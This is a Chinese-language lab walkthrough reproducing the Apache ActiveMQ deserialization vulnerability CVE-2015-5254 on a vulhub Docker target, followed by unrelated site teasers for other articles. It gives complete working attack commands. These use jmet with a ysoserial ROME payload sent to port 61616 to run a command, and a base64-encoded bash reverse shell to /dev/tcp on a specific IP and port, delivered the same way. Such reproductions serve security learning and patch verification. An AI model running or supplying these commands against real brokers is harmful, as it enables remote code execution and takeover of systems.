ActiveMQ 反序列化漏洞(CVE-2015-5254)

ActiveMQ 反序列化漏洞

Apache ActiveMQ是一种开源的消息代理(message broker),被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能,使得开发者能够构建可靠、可扩展的消息传递系统。

说明内容
漏洞编号CVE-2015-5254
漏洞名称ActiveMQ 反序列化漏洞
漏洞评级高危
影响范围ActiveMQ 5.13.0以前版本
漏洞描述java反序列化任意代码执行
修复方案升级到Apache ActiveMQ 5.13.0及以上版本

漏洞描述

Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。

CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞等级

评定方式等级
威胁等级严重
影响面广泛

基础环境

  • www.vulhub.org
  • cd …/vulhub/activemq/CVE-2015-5254
  • docker compose up -d

漏洞复现

漏洞利用过程如下:
  1. 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
  2. 将序列化对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面➡读取消息➡触发漏洞
漏洞复现

环境搭建好后访问your-ip:8186,出现这个页面表示环境搭建成功。

ActiveMQ:8186 管理端口, 61616 默认服务端口 。

image-20230914111331809

kali中下载jmet的jar包,里面集成了ysoserial,运行jar包jdk环境要对应,我的jdk是1.8版本,jdk17执行失败了。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载后同目录下创建一个external文件夹,否则可能会出错。

执行以下代码发送一个消息给服务器

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

-Q myevent:指定要投递的事件名称。jmet会使用该事件名称的payload封装成消息投递。
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击。
-Y “touch /tmp/success”:指定要执行的命令。
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象的payload。
114.115.172.115 61616:指定目标ActiveMQ的地址和端口。

访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码:admin,admin

当点击消息的时候我们的命令将会被执行。

image-20230914120536037

image-20230914120419752

当点击了这条消息后我们的命令就被触发执行了,说明是有这个漏洞的。

image-20230914120436520

反弹shell

想要执行反弹shell我们需要对反弹shell命令做一个base64编码才可以执行,要么会执行失败。

首先准备好一个反弹shell,然后base64编码

bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击的时候我们的反弹shell也就会被执行。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616

点击一下

image-20230914122202099

我们服务器监听的地方就可以拿到一个反弹shell了。

image-20230914121603298

修复建议

1、升级到Apache ActiveMQ 5.13.0及以上版本或更新补丁。

网址如下:
http://activemq.apache.org/security-advisories.data

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/199682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1_控制系统总体结构

1、总体结构 控制系统结构图: 黑色块为参数、黄色块为计算模块 1.1 其中参数含义 车辆属性参数: 参数含义 C α f C_{\alpha f} Cαf​自行车模型总轮胎侧偏刚度(前轮) C α r C_{\alpha r} Cαr​自行车模型总轮胎侧偏刚度&a…

客户案例:SMC2威胁感知升级,保障金融行业邮件安全

客户背景 某基金公司是一家在业界享有广泛声誉的综合型资产管理公司,总部位于广州,在北京、上海、香港等地区均设有公司,业务范围遍布全球,凭借其卓越的投资业绩和专业的基金管理服务,赢得了广大投资者的高度认可。 该…

数据结构第二次作业——递归、树、图【考点罗列//错题正解//题目解析】

目录 一、选择题 ——递归—— 1.【单选题】 ——递归的相关知识点 2.【单选题】——递归的应用 3.【单选题】——递归的实现结构 4.【单选题】——递归的执行与实现 5.【单选题】 ——递归算法 ——树—— 6.【单选题】 ——树的结构 *7.【单选题】——树的知识点 …

【Maven】依赖管理

1. 依赖管理 1.1 依赖配置 依赖:指当前项目运行所需要的jar包。一个项目中可以引入多个依赖。 依赖引入步骤:在pom.xml中编写标签,在标签中使用引入坐标,定义坐标的 groupId、artifactId、version,最后点击刷新&…

17. 电话号码的字母组合 经典回溯组合题目

17. 电话号码的字母组合 原题链接:完成情况:解题思路:参考代码:错误经验吸取 原题链接: 17. 电话号码的字母组合 https://leetcode.cn/problems/letter-combinations-of-a-phone-number/description/ 完成情况&…

c题目16:写一个递归函数,计算N阶乘

每日小语 一生中,最光辉的一天并非功成名就的那一天,而是从悲叹与绝望中产生对人生挑战与勇敢迈向意志的那一天。——福楼拜 自己思考 这个小语呢,我目前还达不到,只是顺其自然,很多东西做起来很有动力,…

《opencv实用探索·十》opencv双边滤波的简单理解

1、引言 OpenCV中的双边滤波(Bilateral Filtering)是一种保持边缘清晰的滤波方法,它考虑像素的空间关系和像素值之间的差异。双边滤波对于去除噪声的同时保持图像的边缘非常有效,它也是一种非线性滤波。 双边滤波采用了两个高斯滤…

[Redis]基础入门

Redis入门 一、初识Redis Redis是一种键值型的NoSql数据库。 其中键值型,是指Redis中存储的数据都是以key、value对的形式存储,而value的形式多种多样,可以是字符串、数值,甚至是json。 NoSql则是相对于传统关系型数据库而言&a…

行业内卷严重到什么程度了?

一.内卷现状 最近大家都吐槽找工作难,确实很难。 不得不说,现在找工作的难度是以前的很多倍。甚至可以说地狱级都不为过。 以前只要简历一挂到网上,就有很多电话打过来。特别是在一线城市,各种类型企业的HR都来找,希…

Android wifi disable分析

总体流程 老套路基本不变: WifiSettings 通过 WifiManager 下cmd 给 WifiServiceWifiService 收到cmd后,先完成一部分列行检查(如UID的权限、是否airPlayMode等等),之后将cmd下发给到WifiControllerWifiController 收…

Linux 环境变量

文章目录 环境变量概念查看环境变量设置环境变量代码获取环境变量补充说明 环境变量概念 定义 :环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数。 个人理解:Linux下一切皆文件,在Linux中所用的指…

在机器学习或者深度学习中是否可以直接分为训练集和测试集而不需要验证集?我的答案如下:

文章目录 一、训练集是什么?二、验证集是什么?三、测试集是什么?四、是否可以直接分为训练集和测试集而不需要验证集?总结 在机器学习和深度学习项目中,通常会将数据集划分为三个部分:训练集,验…

UVM实现component之间transaction级别的通信

my_model是从i_agt中得到my_transaction,并把 my_transaction传递给my_scoreboard。在UVM中,通常使用TLM(Transaction Level Modeling)实现component之间transaction级别 的通信。 在UVM的transaction级别的通信 中,数…

在Word中移动页面主要靠导航窗格,有了它,移动页面就事半功倍

本文包括有关在Microsoft Word 2019、2016和Office 365中使用导航窗格移动页面以及复制和粘贴页面的说明。 如何设置导航窗格以重新排列页面 Microsoft Word并不将文档视为单独页面的集合,而是将其视为一个长页面。正因为如此,重新排列Word文档可能会很复杂。在Word中移动页…

【精选】ATKCK红队评估实战靶场二 (超详细过程思路)

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【ATK&CK红队评估实战靶场】 【VulnHub靶场复现】【面试分析】 &#x1f…

智能优化算法应用:基于堆优化算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于堆优化算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于堆优化算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.堆优化算法4.实验参数设定5.算法结果6.参考文献7.…

Verilog if语句阻断z状态传播

一、测试代码 设置两组输入输出,对比使用assign赋值语句与always if语句。 if_assign_test.v timescale 1ns / 1ps // // Engineer: wkk // Module Name: if_assign_test // module if_assign_test(input if_a_in,input if_b_in,input if_c_in,input if_d_in…

在线网页视频提取工具哪个好用?建议收藏!

随着短视频的崛起,很多人都喜欢将视频下载到手机中慢慢观看,这样可以避免在线播放的卡顿问题,但是会遇到一个问题就是在线网页视频提取工具哪个好用,有的可以提取但是画质太差模糊,有的自带水印飞来飞去。今天小编给大…

同旺科技 USB TO SPI / I2C --- 调试W5500_读写网关地址

所需设备: 内附链接 1、USB转SPI_I2C适配器(专业版); 首先,连接W5500模块与同旺科技USB TO SPI / I2C适配器,如下图: 这里的网关地址设置为192.168.1.1 先将网关地址写入寄存器,然后再读取出来:

关于神舟-战神TA5NS系统重装问题

加装固态卡在log处无法开机问题 下面是我的步骤 1.按f7选择pe安装系统,然后发现卡在战神log处不转动 2.下载驱动 TA5NS驱动地址 下载RAID驱动(如果没有私信我,我网盘里有),拷到u盘中,然后进入pe系统里面…